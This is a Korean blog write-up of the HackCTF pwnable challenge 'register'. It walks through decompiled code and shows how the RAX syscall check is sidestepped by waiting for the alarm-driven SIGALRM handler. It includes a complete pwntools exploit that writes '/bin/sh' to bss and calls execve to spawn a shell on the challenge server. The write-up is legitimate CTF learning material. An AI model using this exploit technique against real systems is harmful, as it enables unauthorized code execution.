tmxklab

[HackCTF/Pwnable] register 본문

War Game/HackCTF

[HackCTF/Pwnable] register

tmxk4221 2020. 8. 15. 20:01

1. 문제

nc ctf.j0n9hyun.xyz 3026

 

1) mitigation 확인

 

2) 문제 확인

  • 레지스터가 출력되고 값을 입력받음(진짜로 레지스터에 값을 넣는건지는 이따가 디버깅하면서 확인)

 

3) 코드 흐름 확인

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  alarm(5u);
  setvbuf(stdout, 0LL, 2, 0LL);
  build();
}
  • unsigned int alarm(unsigned int seconds)
    • 설명 : seconds초 후에 프로세스에 SIGALRM 시그널 전송
  • build()실행

 

3-2) build()

void __noreturn build()
{
  __int64 v0; // [rsp+0h] [rbp-40h]
  __int64 v1; // [rsp+8h] [rbp-38h]
  __int64 v2; // [rsp+10h] [rbp-30h]
  __int64 v3; // [rsp+18h] [rbp-28h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  __int64 v5; // [rsp+28h] [rbp-18h]
  __int64 v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  signal(14, (__sighandler_t)handler);
  while ( 1 )
  {
    do
    {
      get_obj(&v0);
      obj = v0;
      qword_6010A8 = v1;
      qword_6010B0 = v2;
      qword_6010B8 = v3;
      qword_6010C0 = v4;
      qword_6010C8 = v5;
      qword_6010D0 = v6;
    }
    while ( (unsigned int)validate_syscall_obj(v0) );
    raise(14);
  }
}
  • **void(signal(int signum, void (handler)(int)))(int);
    • param
      • int signum : 시그널 번호
      • void (*handler)(int) : 시그널을 처리할 핸들러 함수
    • 설명 : 시그널 발생시 어떻게 처리할지 설정하는 함수
  • signal(14, handler)는 14 시그널 넘버를 가진 시그널 발생시 handler()를 호출하게 되어 처리한다. ( 14는 SIGALRM )
  • while문안에 do while문이 존재하며 validate_syscall_obj(v0)의 값이 참이 아니면 raise(14)호출
  • int raise(int sig);
    • 설명 : 해당 함수를 호출한 프로세스에게 인자로 지정한 시그널을 보낸다.
  • raise(14)는 프로세스 자신에게 14 signal(SIGALRM)을 보냄

 

3-3) handler()

void handler()
{
  exec_syscall_obj(&obj);
}
  • obj(전역변수)를 인자로 exec_syscall_obj()호출

 

3-4) exec_syscall_obj()

__int64 __fastcall exec_syscall_obj(__int64 *a1)
{
  __int64 result; // rax

  result = *a1;
  __asm { syscall; LINUX - }
  return result;
}
  • result에 obj주소 값이 들어가고 syscall을 함

 

3-5) get_obj()

__int64 __fastcall get_obj(_QWORD *a1)
{
  printf("RAX: ");
  *a1 = get_ll();
  printf("RDI: ");
  a1[1] = get_ll();
  printf("RSI: ");
  a1[2] = get_ll();
  printf("RDX: ");
  a1[3] = get_ll();
  printf("RCX: ");
  a1[4] = get_ll();
  printf("R8: ");
  a1[5] = get_ll();
  printf("R9: ");
  a1[6] = get_ll();
  return 0LL;
}
  • a1배열에 get_ll()함수의 리턴 값이 들어간다.

 

3-6) get_ll()

__int64 get_ll()
{
  char nptr; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  get_inp(&nptr, 32);
  return atol(&nptr);
}
  • nptr주소 값과 32를 인자 값으로 get_inpt()호출
  • nptr을 인자 값으로 atol()호출 → 정수형을 long형식으로 변환

 

3-7) get_inp()

__int64 __fastcall get_inp(void *a1, int a2)
{
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = read(0, a1, a2);
  if ( v3 == -1 )
    exit(0);
  if ( *((_BYTE *)a1 + v3 - 1) == 10 )
    *((_BYTE *)a1 + v3 - 1) = 0;
  return (unsigned int)(v3 - 1);
}
  • read()를 통해 a1에 a2만큼 입력 값을 받음(a1 = nptr, a2 = 32)

 

3-8) validate_syscall_obj()

__int64 __fastcall validate_syscall_obj(__int64 a1)
{
  unsigned int v2; // [rsp+14h] [rbp-4h]

  if ( a1 == 2 )
  {
    v2 = 0;
  }
  else if ( a1 > 2 )
  {
    if ( a1 == 3 )
    {
      v2 = 0;
    }
    else
    {
      if ( a1 != 60 )
        return 1;
      v2 = 0;
    }
  }
  else if ( a1 )
  {
    if ( a1 != 1 )
      return 1;
    v2 = 0;
  }
  else
  {
    v2 = 0;
  }
  return v2;
}
  • build()의 do while문의 조건문으로 사용되는 함수로 get_obj(&v0)에서 설정된 v0값을 인자로 받아(a1) 처리하는 함수이다.
  • v2가 0으로 설정되면 return 값이 0으로 세팅되고 buil()의 do while문을 빠져나가게 되면서 raise(14)를 호출하게 될 것이다.
  • 요약 : RAX에 해당하는 값을 검증하는 용도

 

전역변수

  • obj변수와 build함수에서 v1 ~ v6의 값을 저장하는 변수들이 보인다.

 

정리)

  • 먼저, 메인함수에서 alarm(5)를 통해 5초에 한 번씩 프로세스에게 SIGALRM(signum : 14)시그널을 보낸다.
  • build()에서 while문 진입 전에 signal()를 통해 SIGALRM 시그널을 받으면 handler함수가 처리한다.
    • handler함수는 rax, rdi, rsi, ... r9레지스터에 obj배열에 저장된 값을 받고 syscall 하는 함수이다.

  • get_obj(&v0)를 통해 v0배열에 RAX, RDI, RSI, ... R9에 대한 값을 저장하고 다시 전역변수에 존재하는 obj, qword_6010a8, ...에 값을 저장한다.
  • do while문의 조건문에서 validate_syscall_obj(v0)를 호출하여 리턴 값이 참이면 다시 do while문이 돌고 아니면 빠져나와 raise(14)를 호출하고 다시 do while문을 시작한다.
  • 이 때, raise(14)는 프로세스 자신에게 SIGALRM 시그널을 보낸다. → handler()호출

 

 


2. 접근방법

 

먼저, RAX, RDI, RSI, RDX, RCX, R8, R9 레지스터에 대한 입력 값을 받아 전역변수들에 저장하고 SIGALRM 시그널을 받으면 handler함수에 의해 저장된 전역변수들에 들어있는 값들이 각 레지스터로 알맞게 들어간 다음 syscall하게 된다.

 

 

그럼 system("/bin/sh")를 하기 위해서..

read()로 bss영역에 binsh문자열을 저장하고, system()로 binsh문자열이 저장된 주소 값을 인자로 받으면 된다.

 

 

1) handler()가 호출되는 두 가지 방법

1-1) rasie(14)

  • do while문을 빠져나가 raise(14)를 호출하면 SIGALRM시그널을 발생해 handler()가 호출되면서 syscall을 할 수 있다.

1-2) alarm(5)

  • 5초에 한 번 SIGALRM을 보냄으로써 handler()가 호출된다.

 

2) read(0, bss, len)

  • RAX = 0, RSI = bss영역, RDX = len(binsh)값을 넣고 syscall하면 bss영역에 "/bin/sh"문자열을 받을 수 있다.
  • RAX에 해당하는 값을 0으로 세팅하면 do while문의 조건문인validate_syscall_obj함수가 호출되면서 검증하게 된다. (통과)
  • do wihle문을 통과하고 raise(14)를 호출하면서 SIGALRM을 발생함으로써 handler함수가 호출되어 syscall이 발생한다.

2-1) RAX값에 0을 주었을 때

  • do while문을 통과하면서 rasie함수를 호출한다.

  • handler함수에 진입하고 exec_syscall_obj함수에 진입하여 syscall

 

3) system(bss)

  • RAX = 59, RDI = bss 값을 넣고 syscall하면 execve()가 실행되어 bss영역에 있는 "/bin/sh"문자열을 파라미터로 받아 쉘을 딸 수 있다.
  • RAX에 해당하는 값을 59로 세팅하면 validate_syscall_obj에 의해 do while문을 통과할 수 없어 rasie(14)를 호출할 수 없다.

 

3-1) RAX값에 59를 주었을 때

  • 반환 값인 eax에 1이 저장된다.

  • test eax, eax를 수행하면서 ZF플래그가 0으로 세팅되고 jne분기문에 의해 build+155로 분기된다.

 

3-2) 해결 방법

간단하다. 굳이 raise(14)를 호출하지 않아도 메인함수에서 alarm(5)를 설정하였기 때문에 5초 지나면 SIGALRM시그널을 발생하여 handler함수를 호출한다.

 

 


3. 풀이

 

1) binsh문자열을 저장할 bss영역 확인

  • 0x601090이 비어있으므로 여기다가 /bin/sh을 넣어보자

 

2) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./register")
p = remote("ctf.j0n9hyun.xyz", 3026)
#gdb.attach(p, """b*0x4007f1""")

bss_addr = 0x601090
binsh = "/bin/sh\x00"

input_binsh = [0, 0, bss_addr, len(binsh), 0, 0, 0]
system_exec = [0x3b, bss_addr, 0, 0, 0, 0, 0]


def register(reg_set):
	print(reg_set)
	p.sendlineafter("RAX: ", str(reg_set[0]))	
	p.sendlineafter("RDI: ", str(reg_set[1]))	
	p.sendlineafter("RSI: ", str(reg_set[2]))	
	p.sendlineafter("RDX: ", str(reg_set[3]))	
	p.sendlineafter("RCX: ", str(reg_set[4]))	
	p.sendlineafter("R8: ", str(reg_set[5]))	
	p.sendlineafter("R9: ", str(reg_set[6]))	

# 1. read(0, bss, len("/bin/sh"))
register(input_binsh)
p.send(binsh)

# 2. system(bss)
register(system_exec)
sleep(5)

p.interactive()

 

3) 실행 결과


4. 몰랐던 개념

 

1) signal에 대한 처리를 하는 handler함수 bp거는 방법

일반적으로 bp를 handler에다 걸어서 시그널 발생하여도 그냥 handler함수 쪽으로 break되지 않는다. 따라서, 다음과 같이 진행해보자

 

먼저 handler함수에 bp를 건다.

$b*{handler함수}

  • ex) (gdb)$ b*handler

handlere함수가 처리하는 시그널 이름을 중괄호 안에 넣는다.

$handle {SIG??} nostop pass

  • ex) (gdb)$ handle SIGALRM nostop pass

참고 :

 

02.SROP(Sigreturn-oriented programming) - x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List SROP(Sigreturn-oriented programming) SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.해당 기법을 이용하여 원하는 시스템

www.lazenca.net

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] 풍수지리설  (0) 2020.08.15
[HackCTF/Pwnable] World Best Encryption Tool  (0) 2020.08.15
[HackCTF/Pwnable] rtc  (0) 2020.08.06
[HackCTF/Pwnable] sysrop  (0) 2020.08.06
[HackCTF/Pwnable] Unexploitable #1  (0) 2020.08.06
Comments